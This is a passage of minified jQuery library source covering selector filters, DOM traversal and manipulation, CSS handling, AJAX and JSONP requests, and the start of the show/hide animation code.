g.type},file:function(g){return"file"===g.type},password:function(g){return"password"===g.type},submit:function(g){return"submit"===g.type},image:function(g){return"image"===g.type},reset:function(g){return"reset"===g.type},button:function(g){return"button"===g.type||g.nodeName.toLowerCase()==="button"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}},setFilters:{first:function(g,h){return h===0},last:function(g,h,k,l){return h===l.length-1},even:function(g,h){return h%2===
|
||||
0},odd:function(g,h){return h%2===1},lt:function(g,h,k){return h<k[3]-0},gt:function(g,h,k){return h>k[3]-0},nth:function(g,h,k){return k[3]-0===h},eq:function(g,h,k){return k[3]-0===h}},filter:{PSEUDO:function(g,h,k,l){var q=h[1],p=m.filters[q];if(p)return p(g,k,h,l);else if(q==="contains")return(g.textContent||g.innerText||a([g])||"").indexOf(h[3])>=0;else if(q==="not"){h=h[3];k=0;for(l=h.length;k<l;k++)if(h[k]===g)return false;return true}else o.error("Syntax error, unrecognized expression: "+
|
||||
q)},CHILD:function(g,h){var k=h[1],l=g;switch(k){case "only":case "first":for(;l=l.previousSibling;)if(l.nodeType===1)return false;if(k==="first")return true;l=g;case "last":for(;l=l.nextSibling;)if(l.nodeType===1)return false;return true;case "nth":k=h[2];var q=h[3];if(k===1&&q===0)return true;h=h[0];var p=g.parentNode;if(p&&(p.sizcache!==h||!g.nodeIndex)){var u=0;for(l=p.firstChild;l;l=l.nextSibling)if(l.nodeType===1)l.nodeIndex=++u;p.sizcache=h}g=g.nodeIndex-q;return k===0?g===0:g%k===0&&g/k>=
|
||||
0}},ID:function(g,h){return g.nodeType===1&&g.getAttribute("id")===h},TAG:function(g,h){return h==="*"&&g.nodeType===1||g.nodeName.toLowerCase()===h},CLASS:function(g,h){return(" "+(g.className||g.getAttribute("class"))+" ").indexOf(h)>-1},ATTR:function(g,h){var k=h[1];g=m.attrHandle[k]?m.attrHandle[k](g):g[k]!=null?g[k]:g.getAttribute(k);k=g+"";var l=h[2];h=h[4];return g==null?l==="!=":l==="="?k===h:l==="*="?k.indexOf(h)>=0:l==="~="?(" "+k+" ").indexOf(h)>=0:!h?k&&g!==false:l==="!="?k!==h:l==="^="?
|
||||
k.indexOf(h)===0:l==="$="?k.substr(k.length-h.length)===h:l==="|="?k===h||k.substr(0,h.length+1)===h+"-":false},POS:function(g,h,k,l){var q=m.setFilters[h[2]];if(q)return q(g,k,h,l)}}},s=m.match.POS;for(var x in m.match){m.match[x]=new RegExp(m.match[x].source+/(?![^\[]*\])(?![^\(]*\))/.source);m.leftMatch[x]=new RegExp(/(^(?:.|\r|\n)*?)/.source+m.match[x].source.replace(/\\(\d+)/g,function(g,h){return"\\"+(h-0+1)}))}var A=function(g,h){g=Array.prototype.slice.call(g,0);if(h){h.push.apply(h,g);return h}return g};
|
||||
try{Array.prototype.slice.call(r.documentElement.childNodes,0)}catch(B){A=function(g,h){h=h||[];if(i.call(g)==="[object Array]")Array.prototype.push.apply(h,g);else if(typeof g.length==="number")for(var k=0,l=g.length;k<l;k++)h.push(g[k]);else for(k=0;g[k];k++)h.push(g[k]);return h}}var C;if(r.documentElement.compareDocumentPosition)C=function(g,h){if(!g.compareDocumentPosition||!h.compareDocumentPosition){if(g==h)j=true;return g.compareDocumentPosition?-1:1}g=g.compareDocumentPosition(h)&4?-1:g===
|
||||
h?0:1;if(g===0)j=true;return g};else if("sourceIndex"in r.documentElement)C=function(g,h){if(!g.sourceIndex||!h.sourceIndex){if(g==h)j=true;return g.sourceIndex?-1:1}g=g.sourceIndex-h.sourceIndex;if(g===0)j=true;return g};else if(r.createRange)C=function(g,h){if(!g.ownerDocument||!h.ownerDocument){if(g==h)j=true;return g.ownerDocument?-1:1}var k=g.ownerDocument.createRange(),l=h.ownerDocument.createRange();k.setStart(g,0);k.setEnd(g,0);l.setStart(h,0);l.setEnd(h,0);g=k.compareBoundaryPoints(Range.START_TO_END,
|
||||
l);if(g===0)j=true;return g};(function(){var g=r.createElement("div"),h="script"+(new Date).getTime();g.innerHTML="<a name='"+h+"'/>";var k=r.documentElement;k.insertBefore(g,k.firstChild);if(r.getElementById(h)){m.find.ID=function(l,q,p){if(typeof q.getElementById!=="undefined"&&!p)return(q=q.getElementById(l[1]))?q.id===l[1]||typeof q.getAttributeNode!=="undefined"&&q.getAttributeNode("id").nodeValue===l[1]?[q]:v:[]};m.filter.ID=function(l,q){var p=typeof l.getAttributeNode!=="undefined"&&l.getAttributeNode("id");
|
||||
return l.nodeType===1&&p&&p.nodeValue===q}}k.removeChild(g);k=g=null})();(function(){var g=r.createElement("div");g.appendChild(r.createComment(""));if(g.getElementsByTagName("*").length>0)m.find.TAG=function(h,k){k=k.getElementsByTagName(h[1]);if(h[1]==="*"){h=[];for(var l=0;k[l];l++)k[l].nodeType===1&&h.push(k[l]);k=h}return k};g.innerHTML="<a href='#'></a>";if(g.firstChild&&typeof g.firstChild.getAttribute!=="undefined"&&g.firstChild.getAttribute("href")!=="#")m.attrHandle.href=function(h){return h.getAttribute("href",
|
||||
2)};g=null})();r.querySelectorAll&&function(){var g=o,h=r.createElement("div");h.innerHTML="<p class='TEST'></p>";if(!(h.querySelectorAll&&h.querySelectorAll(".TEST").length===0)){o=function(l,q,p,u){q=q||r;if(!u&&q.nodeType===9&&!w(q))try{return A(q.querySelectorAll(l),p)}catch(t){}return g(l,q,p,u)};for(var k in g)o[k]=g[k];h=null}}();(function(){var g=r.createElement("div");g.innerHTML="<div class='test e'></div><div class='test'></div>";if(!(!g.getElementsByClassName||g.getElementsByClassName("e").length===
|
||||
0)){g.lastChild.className="e";if(g.getElementsByClassName("e").length!==1){m.order.splice(1,0,"CLASS");m.find.CLASS=function(h,k,l){if(typeof k.getElementsByClassName!=="undefined"&&!l)return k.getElementsByClassName(h[1])};g=null}}})();var E=r.compareDocumentPosition?function(g,h){return g.compareDocumentPosition(h)&16}:function(g,h){return g!==h&&(g.contains?g.contains(h):true)},w=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!=="HTML":false},fa=function(g,h){var k=[],
|
||||
l="",q;for(h=h.nodeType?[h]:h;q=m.match.PSEUDO.exec(g);){l+=q[0];g=g.replace(m.match.PSEUDO,"")}g=m.relative[g]?g+"*":g;q=0;for(var p=h.length;q<p;q++)o(g,h[q],k);return o.filter(l,k)};c.find=o;c.expr=o.selectors;c.expr[":"]=c.expr.filters;c.unique=o.uniqueSort;c.getText=a;c.isXMLDoc=w;c.contains=E})();var bb=/Until$/,cb=/^(?:parents|prevUntil|prevAll)/,db=/,/;Q=Array.prototype.slice;var Ea=function(a,b,d){if(c.isFunction(b))return c.grep(a,function(e,i){return!!b.call(e,i,e)===d});else if(b.nodeType)return c.grep(a,
|
||||
function(e){return e===b===d});else if(typeof b==="string"){var f=c.grep(a,function(e){return e.nodeType===1});if(Qa.test(b))return c.filter(b,f,!d);else b=c.filter(b,f)}return c.grep(a,function(e){return c.inArray(e,b)>=0===d})};c.fn.extend({find:function(a){for(var b=this.pushStack("","find",a),d=0,f=0,e=this.length;f<e;f++){d=b.length;c.find(a,this[f],b);if(f>0)for(var i=d;i<b.length;i++)for(var j=0;j<d;j++)if(b[j]===b[i]){b.splice(i--,1);break}}return b},has:function(a){var b=c(a);return this.filter(function(){for(var d=
|
||||
0,f=b.length;d<f;d++)if(c.contains(this,b[d]))return true})},not:function(a){return this.pushStack(Ea(this,a,false),"not",a)},filter:function(a){return this.pushStack(Ea(this,a,true),"filter",a)},is:function(a){return!!a&&c.filter(a,this).length>0},closest:function(a,b){if(c.isArray(a)){var d=[],f=this[0],e,i={},j;if(f&&a.length){e=0;for(var n=a.length;e<n;e++){j=a[e];i[j]||(i[j]=c.expr.match.POS.test(j)?c(j,b||this.context):j)}for(;f&&f.ownerDocument&&f!==b;){for(j in i){e=i[j];if(e.jquery?e.index(f)>
|
||||
-1:c(f).is(e)){d.push({selector:j,elem:f});delete i[j]}}f=f.parentNode}}return d}var o=c.expr.match.POS.test(a)?c(a,b||this.context):null;return this.map(function(m,s){for(;s&&s.ownerDocument&&s!==b;){if(o?o.index(s)>-1:c(s).is(a))return s;s=s.parentNode}return null})},index:function(a){if(!a||typeof a==="string")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){a=typeof a==="string"?c(a,b||this.context):c.makeArray(a);b=c.merge(this.get(),
|
||||
a);return this.pushStack(pa(a[0])||pa(b[0])?b:c.unique(b))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,"parentNode")},parentsUntil:function(a,b,d){return c.dir(a,"parentNode",d)},next:function(a){return c.nth(a,2,"nextSibling")},prev:function(a){return c.nth(a,2,"previousSibling")},nextAll:function(a){return c.dir(a,"nextSibling")},prevAll:function(a){return c.dir(a,"previousSibling")},
|
||||
nextUntil:function(a,b,d){return c.dir(a,"nextSibling",d)},prevUntil:function(a,b,d){return c.dir(a,"previousSibling",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,b){c.fn[a]=function(d,f){var e=c.map(this,b,d);bb.test(a)||(f=d);if(f&&typeof f==="string")e=c.filter(f,e);e=this.length>1?c.unique(e):
|
||||
e;if((this.length>1||db.test(f))&&cb.test(a))e=e.reverse();return this.pushStack(e,a,Q.call(arguments).join(","))}});c.extend({filter:function(a,b,d){if(d)a=":not("+a+")";return c.find.matches(a,b)},dir:function(a,b,d){var f=[];for(a=a[b];a&&a.nodeType!==9&&(d===v||a.nodeType!==1||!c(a).is(d));){a.nodeType===1&&f.push(a);a=a[b]}return f},nth:function(a,b,d){b=b||1;for(var f=0;a;a=a[d])if(a.nodeType===1&&++f===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!==
|
||||
b&&d.push(a);return d}});var Fa=/ jQuery\d+="(?:\d+|null)"/g,V=/^\s+/,Ga=/(<([\w:]+)[^>]*?)\/>/g,eb=/^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,Ha=/<([\w:]+)/,fb=/<tbody/i,gb=/<|&\w+;/,sa=/checked\s*(?:[^=]|=\s*.checked.)/i,Ia=function(a,b,d){return eb.test(d)?a:b+"></"+d+">"},F={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],
|
||||
col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th=F.td;if(!c.support.htmlSerialize)F._default=[1,"div<div>","</div>"];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d=c(this);d.text(a.call(this,b,d.text()))});if(typeof a!=="object"&&a!==v)return this.empty().append((this[0]&&this[0].ownerDocument||r).createTextNode(a));return c.getText(this)},
|
||||
wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this},wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length?
|
||||
d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,"body")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,
|
||||
false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&&
|
||||
!c.isXMLDoc(this)){var d=this.outerHTML,f=this.ownerDocument;if(!d){d=f.createElement("div");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(Fa,"").replace(V,"")],f)[0]}else return this.cloneNode(true)});if(a===true){qa(this,b);qa(this.find("*"),b.find("*"))}return b},html:function(a){if(a===v)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Fa,""):null;else if(typeof a==="string"&&!/<script/i.test(a)&&(c.support.leadingWhitespace||!V.test(a))&&!F[(Ha.exec(a)||
|
||||
["",""])[1].toLowerCase()]){a=a.replace(Ga,Ia);try{for(var b=0,d=this.length;b<d;b++)if(this[b].nodeType===1){c.cleanData(this[b].getElementsByTagName("*"));this[b].innerHTML=a}}catch(f){this.empty().append(a)}}else c.isFunction(a)?this.each(function(e){var i=c(this),j=i.html();i.empty().append(function(){return a.call(this,e,j)})}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]&&this[0].parentNode){if(c.isFunction(a))return this.each(function(b){var d=c(this),f=d.html();d.replaceWith(a.call(this,
|
||||
b,f))});else a=c(a).detach();return this.each(function(){var b=this.nextSibling,d=this.parentNode;c(this).remove();b?c(b).before(a):c(d).append(a)})}else return this.pushStack(c(c.isFunction(a)?a():a),"replaceWith",a)},detach:function(a){return this.remove(a,true)},domManip:function(a,b,d){function f(s){return c.nodeName(s,"table")?s.getElementsByTagName("tbody")[0]||s.appendChild(s.ownerDocument.createElement("tbody")):s}var e,i,j=a[0],n=[];if(!c.support.checkClone&&arguments.length===3&&typeof j===
|
||||
"string"&&sa.test(j))return this.each(function(){c(this).domManip(a,b,d,true)});if(c.isFunction(j))return this.each(function(s){var x=c(this);a[0]=j.call(this,s,b?x.html():v);x.domManip(a,b,d)});if(this[0]){e=a[0]&&a[0].parentNode&&a[0].parentNode.nodeType===11?{fragment:a[0].parentNode}:ra(a,this,n);if(i=e.fragment.firstChild){b=b&&c.nodeName(i,"tr");for(var o=0,m=this.length;o<m;o++)d.call(b?f(this[o],i):this[o],e.cacheable||this.length>1||o>0?e.fragment.cloneNode(true):e.fragment)}n&&c.each(n,
|
||||
Ma)}return this}});c.fragments={};c.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){c.fn[a]=function(d){var f=[];d=c(d);for(var e=0,i=d.length;e<i;e++){var j=(e>0?this.clone(true):this).get();c.fn[b].apply(c(d[e]),j);f=f.concat(j)}return this.pushStack(f,a,d.selector)}});c.each({remove:function(a,b){if(!a||c.filter(a,[this]).length){if(!b&&this.nodeType===1){c.cleanData(this.getElementsByTagName("*"));c.cleanData([this])}this.parentNode&&
|
||||
this.parentNode.removeChild(this)}},empty:function(){for(this.nodeType===1&&c.cleanData(this.getElementsByTagName("*"));this.firstChild;)this.removeChild(this.firstChild)}},function(a,b){c.fn[a]=function(){return this.each(b,arguments)}});c.extend({clean:function(a,b,d,f){b=b||r;if(typeof b.createElement==="undefined")b=b.ownerDocument||b[0]&&b[0].ownerDocument||r;var e=[];c.each(a,function(i,j){if(typeof j==="number")j+="";if(j){if(typeof j==="string"&&!gb.test(j))j=b.createTextNode(j);else if(typeof j===
|
||||
"string"){j=j.replace(Ga,Ia);var n=(Ha.exec(j)||["",""])[1].toLowerCase(),o=F[n]||F._default,m=o[0];i=b.createElement("div");for(i.innerHTML=o[1]+j+o[2];m--;)i=i.lastChild;if(!c.support.tbody){m=fb.test(j);n=n==="table"&&!m?i.firstChild&&i.firstChild.childNodes:o[1]==="<table>"&&!m?i.childNodes:[];for(o=n.length-1;o>=0;--o)c.nodeName(n[o],"tbody")&&!n[o].childNodes.length&&n[o].parentNode.removeChild(n[o])}!c.support.leadingWhitespace&&V.test(j)&&i.insertBefore(b.createTextNode(V.exec(j)[0]),i.firstChild);
|
||||
j=c.makeArray(i.childNodes)}if(j.nodeType)e.push(j);else e=c.merge(e,j)}});if(d)for(a=0;e[a];a++)if(f&&c.nodeName(e[a],"script")&&(!e[a].type||e[a].type.toLowerCase()==="text/javascript"))f.push(e[a].parentNode?e[a].parentNode.removeChild(e[a]):e[a]);else{e[a].nodeType===1&&e.splice.apply(e,[a+1,0].concat(c.makeArray(e[a].getElementsByTagName("script"))));d.appendChild(e[a])}return e},cleanData:function(a){for(var b=0,d;(d=a[b])!=null;b++){c.event.remove(d);c.removeData(d)}}});var hb=/z-?index|font-?weight|opacity|zoom|line-?height/i,
|
||||
Ja=/alpha\([^)]*\)/,Ka=/opacity=([^)]*)/,ga=/float/i,ha=/-([a-z])/ig,ib=/([A-Z])/g,jb=/^-?\d+(?:px)?$/i,kb=/^-?\d/,lb={position:"absolute",visibility:"hidden",display:"block"},mb=["Left","Right"],nb=["Top","Bottom"],ob=r.defaultView&&r.defaultView.getComputedStyle,La=c.support.cssFloat?"cssFloat":"styleFloat",ia=function(a,b){return b.toUpperCase()};c.fn.css=function(a,b){return X(this,a,b,true,function(d,f,e){if(e===v)return c.curCSS(d,f);if(typeof e==="number"&&!hb.test(f))e+="px";c.style(d,f,e)})};
|
||||
c.extend({style:function(a,b,d){if(!a||a.nodeType===3||a.nodeType===8)return v;if((b==="width"||b==="height")&&parseFloat(d)<0)d=v;var f=a.style||a,e=d!==v;if(!c.support.opacity&&b==="opacity"){if(e){f.zoom=1;b=parseInt(d,10)+""==="NaN"?"":"alpha(opacity="+d*100+")";a=f.filter||c.curCSS(a,"filter")||"";f.filter=Ja.test(a)?a.replace(Ja,b):b}return f.filter&&f.filter.indexOf("opacity=")>=0?parseFloat(Ka.exec(f.filter)[1])/100+"":""}if(ga.test(b))b=La;b=b.replace(ha,ia);if(e)f[b]=d;return f[b]},css:function(a,
|
||||
b,d,f){if(b==="width"||b==="height"){var e,i=b==="width"?mb:nb;function j(){e=b==="width"?a.offsetWidth:a.offsetHeight;f!=="border"&&c.each(i,function(){f||(e-=parseFloat(c.curCSS(a,"padding"+this,true))||0);if(f==="margin")e+=parseFloat(c.curCSS(a,"margin"+this,true))||0;else e-=parseFloat(c.curCSS(a,"border"+this+"Width",true))||0})}a.offsetWidth!==0?j():c.swap(a,lb,j);return Math.max(0,Math.round(e))}return c.curCSS(a,b,d)},curCSS:function(a,b,d){var f,e=a.style;if(!c.support.opacity&&b==="opacity"&&
|
||||
a.currentStyle){f=Ka.test(a.currentStyle.filter||"")?parseFloat(RegExp.$1)/100+"":"";return f===""?"1":f}if(ga.test(b))b=La;if(!d&&e&&e[b])f=e[b];else if(ob){if(ga.test(b))b="float";b=b.replace(ib,"-$1").toLowerCase();e=a.ownerDocument.defaultView;if(!e)return null;if(a=e.getComputedStyle(a,null))f=a.getPropertyValue(b);if(b==="opacity"&&f==="")f="1"}else if(a.currentStyle){d=b.replace(ha,ia);f=a.currentStyle[b]||a.currentStyle[d];if(!jb.test(f)&&kb.test(f)){b=e.left;var i=a.runtimeStyle.left;a.runtimeStyle.left=
|
||||
a.currentStyle.left;e.left=d==="fontSize"?"1em":f||0;f=e.pixelLeft+"px";e.left=b;a.runtimeStyle.left=i}}return f},swap:function(a,b,d){var f={};for(var e in b){f[e]=a.style[e];a.style[e]=b[e]}d.call(a);for(e in b)a.style[e]=f[e]}});if(c.expr&&c.expr.filters){c.expr.filters.hidden=function(a){var b=a.offsetWidth,d=a.offsetHeight,f=a.nodeName.toLowerCase()==="tr";return b===0&&d===0&&!f?true:b>0&&d>0&&!f?false:c.curCSS(a,"display")==="none"};c.expr.filters.visible=function(a){return!c.expr.filters.hidden(a)}}var pb=
|
||||
J(),qb=/<script(.|\s)*?\/script>/gi,rb=/select|textarea/i,sb=/color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week/i,N=/=\?(&|$)/,ja=/\?/,tb=/(\?|&)_=.*?(&|$)/,ub=/^(\w+:)?\/\/([^\/?#]+)/,vb=/%20/g;c.fn.extend({_load:c.fn.load,load:function(a,b,d){if(typeof a!=="string")return this._load(a);else if(!this.length)return this;var f=a.indexOf(" ");if(f>=0){var e=a.slice(f,a.length);a=a.slice(0,f)}f="GET";if(b)if(c.isFunction(b)){d=b;b=null}else if(typeof b==="object"){b=
|
||||
c.param(b,c.ajaxSettings.traditional);f="POST"}var i=this;c.ajax({url:a,type:f,dataType:"html",data:b,complete:function(j,n){if(n==="success"||n==="notmodified")i.html(e?c("<div />").append(j.responseText.replace(qb,"")).find(e):j.responseText);d&&i.each(d,[j.responseText,n,j])}});return this},serialize:function(){return c.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?c.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&
|
||||
(this.checked||rb.test(this.nodeName)||sb.test(this.type))}).map(function(a,b){a=c(this).val();return a==null?null:c.isArray(a)?c.map(a,function(d){return{name:b.name,value:d}}):{name:b.name,value:a}}).get()}});c.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){c.fn[b]=function(d){return this.bind(b,d)}});c.extend({get:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b=null}return c.ajax({type:"GET",url:a,data:b,success:d,dataType:f})},getScript:function(a,
|
||||
b){return c.get(a,null,b,"script")},getJSON:function(a,b,d){return c.get(a,b,d,"json")},post:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b={}}return c.ajax({type:"POST",url:a,data:b,success:d,dataType:f})},ajaxSetup:function(a){c.extend(c.ajaxSettings,a)},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:z.XMLHttpRequest&&(z.location.protocol!=="file:"||!z.ActiveXObject)?function(){return new z.XMLHttpRequest}:
|
||||
function(){try{return new z.ActiveXObject("Microsoft.XMLHTTP")}catch(a){}},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},etag:{},ajax:function(a){function b(){e.success&&e.success.call(o,n,j,w);e.global&&f("ajaxSuccess",[w,e])}function d(){e.complete&&e.complete.call(o,w,j);e.global&&f("ajaxComplete",[w,e]);e.global&&!--c.active&&c.event.trigger("ajaxStop")}
|
||||
function f(q,p){(e.context?c(e.context):c.event).trigger(q,p)}var e=c.extend(true,{},c.ajaxSettings,a),i,j,n,o=a&&a.context||e,m=e.type.toUpperCase();if(e.data&&e.processData&&typeof e.data!=="string")e.data=c.param(e.data,e.traditional);if(e.dataType==="jsonp"){if(m==="GET")N.test(e.url)||(e.url+=(ja.test(e.url)?"&":"?")+(e.jsonp||"callback")+"=?");else if(!e.data||!N.test(e.data))e.data=(e.data?e.data+"&":"")+(e.jsonp||"callback")+"=?";e.dataType="json"}if(e.dataType==="json"&&(e.data&&N.test(e.data)||
|
||||
N.test(e.url))){i=e.jsonpCallback||"jsonp"+pb++;if(e.data)e.data=(e.data+"").replace(N,"="+i+"$1");e.url=e.url.replace(N,"="+i+"$1");e.dataType="script";z[i]=z[i]||function(q){n=q;b();d();z[i]=v;try{delete z[i]}catch(p){}A&&A.removeChild(B)}}if(e.dataType==="script"&&e.cache===null)e.cache=false;if(e.cache===false&&m==="GET"){var s=J(),x=e.url.replace(tb,"$1_="+s+"$2");e.url=x+(x===e.url?(ja.test(e.url)?"&":"?")+"_="+s:"")}if(e.data&&m==="GET")e.url+=(ja.test(e.url)?"&":"?")+e.data;e.global&&!c.active++&&
|
||||
c.event.trigger("ajaxStart");s=(s=ub.exec(e.url))&&(s[1]&&s[1]!==location.protocol||s[2]!==location.host);if(e.dataType==="script"&&m==="GET"&&s){var A=r.getElementsByTagName("head")[0]||r.documentElement,B=r.createElement("script");B.src=e.url;if(e.scriptCharset)B.charset=e.scriptCharset;if(!i){var C=false;B.onload=B.onreadystatechange=function(){if(!C&&(!this.readyState||this.readyState==="loaded"||this.readyState==="complete")){C=true;b();d();B.onload=B.onreadystatechange=null;A&&B.parentNode&&
|
||||
A.removeChild(B)}}}A.insertBefore(B,A.firstChild);return v}var E=false,w=e.xhr();if(w){e.username?w.open(m,e.url,e.async,e.username,e.password):w.open(m,e.url,e.async);try{if(e.data||a&&a.contentType)w.setRequestHeader("Content-Type",e.contentType);if(e.ifModified){c.lastModified[e.url]&&w.setRequestHeader("If-Modified-Since",c.lastModified[e.url]);c.etag[e.url]&&w.setRequestHeader("If-None-Match",c.etag[e.url])}s||w.setRequestHeader("X-Requested-With","XMLHttpRequest");w.setRequestHeader("Accept",
|
||||
e.dataType&&e.accepts[e.dataType]?e.accepts[e.dataType]+", */*":e.accepts._default)}catch(fa){}if(e.beforeSend&&e.beforeSend.call(o,w,e)===false){e.global&&!--c.active&&c.event.trigger("ajaxStop");w.abort();return false}e.global&&f("ajaxSend",[w,e]);var g=w.onreadystatechange=function(q){if(!w||w.readyState===0||q==="abort"){E||d();E=true;if(w)w.onreadystatechange=c.noop}else if(!E&&w&&(w.readyState===4||q==="timeout")){E=true;w.onreadystatechange=c.noop;j=q==="timeout"?"timeout":!c.httpSuccess(w)?
|
||||
"error":e.ifModified&&c.httpNotModified(w,e.url)?"notmodified":"success";var p;if(j==="success")try{n=c.httpData(w,e.dataType,e)}catch(u){j="parsererror";p=u}if(j==="success"||j==="notmodified")i||b();else c.handleError(e,w,j,p);d();q==="timeout"&&w.abort();if(e.async)w=null}};try{var h=w.abort;w.abort=function(){w&&h.call(w);g("abort")}}catch(k){}e.async&&e.timeout>0&&setTimeout(function(){w&&!E&&g("timeout")},e.timeout);try{w.send(m==="POST"||m==="PUT"||m==="DELETE"?e.data:null)}catch(l){c.handleError(e,
|
||||
w,null,l);d()}e.async||g();return w}},handleError:function(a,b,d,f){if(a.error)a.error.call(a.context||a,b,d,f);if(a.global)(a.context?c(a.context):c.event).trigger("ajaxError",[b,a,f])},active:0,httpSuccess:function(a){try{return!a.status&&location.protocol==="file:"||a.status>=200&&a.status<300||a.status===304||a.status===1223||a.status===0}catch(b){}return false},httpNotModified:function(a,b){var d=a.getResponseHeader("Last-Modified"),f=a.getResponseHeader("Etag");if(d)c.lastModified[b]=d;if(f)c.etag[b]=
|
||||
f;return a.status===304||a.status===0},httpData:function(a,b,d){var f=a.getResponseHeader("content-type")||"",e=b==="xml"||!b&&f.indexOf("xml")>=0;a=e?a.responseXML:a.responseText;e&&a.documentElement.nodeName==="parsererror"&&c.error("parsererror");if(d&&d.dataFilter)a=d.dataFilter(a,b);if(typeof a==="string")if(b==="json"||!b&&f.indexOf("json")>=0)a=c.parseJSON(a);else if(b==="script"||!b&&f.indexOf("javascript")>=0)c.globalEval(a);return a},param:function(a,b){function d(j,n){if(c.isArray(n))c.each(n,
|
||||
function(o,m){b?f(j,m):d(j+"["+(typeof m==="object"||c.isArray(m)?o:"")+"]",m)});else!b&&n!=null&&typeof n==="object"?c.each(n,function(o,m){d(j+"["+o+"]",m)}):f(j,n)}function f(j,n){n=c.isFunction(n)?n():n;e[e.length]=encodeURIComponent(j)+"="+encodeURIComponent(n)}var e=[];if(b===v)b=c.ajaxSettings.traditional;if(c.isArray(a)||a.jquery)c.each(a,function(){f(this.name,this.value)});else for(var i in a)d(i,a[i]);return e.join("&").replace(vb,"+")}});var ka={},wb=/toggle|show|hide/,xb=/^([+-]=)?([\d+-.]+)(.*)$/,
|
||||
W,ta=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];c.fn.extend({show:function(a,b){if(a||a===0)return this.animate(K("show",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],"olddisplay");this[a].style.display=d||"";if(c.css(this[a],"display")==="none"){d=this[a].nodeName;var f;if(ka[d])f=ka[d];else{var e=c("<"+d+" />").appendTo("body");f=e.css("display");if(f==="none")f="block";e.remove();
|
||||
ka[d]=f}c.data(this[a],"olddisplay",f)}}a=0;for(b=this.length;a<b;a++)this[a].style.display=c.data(this[a],"olddisplay")||"";return this}},hide:function(a,b){if(a||a===0)return this.animate(K("hide",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],"olddisplay");!d&&d!=="none"&&c.data(this[a],"olddisplay",c.css(this[a],"display"))}a=0;for(b=this.length;a<b;a++)this[a].style.display="none";return this}},_toggle:c.fn.toggle,toggle:function(a,b){var d=typeof a==="boolean";if(c.isFunction(a)&&
|
||||
c.isFunction(b))this._toggle.apply(this,arguments);else a==null||d?this.each(function(){var f=d?a:c(this).is(":hidden");c(this)[f?"show":"hide"]()}):this.animate(K("toggle",3),a,b);return this},fadeTo:function(a,b,d){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,d)},animate:function(a,b,d,f){var e=c.speed(b,d,f);if(c.isEmptyObject(a))return this.each(e.complete);return this[e.queue===false?"each":"queue"](function(){var i=c.extend({},e),j,n=this.nodeType===1&&c(this).is(":hidden"),
|
||||
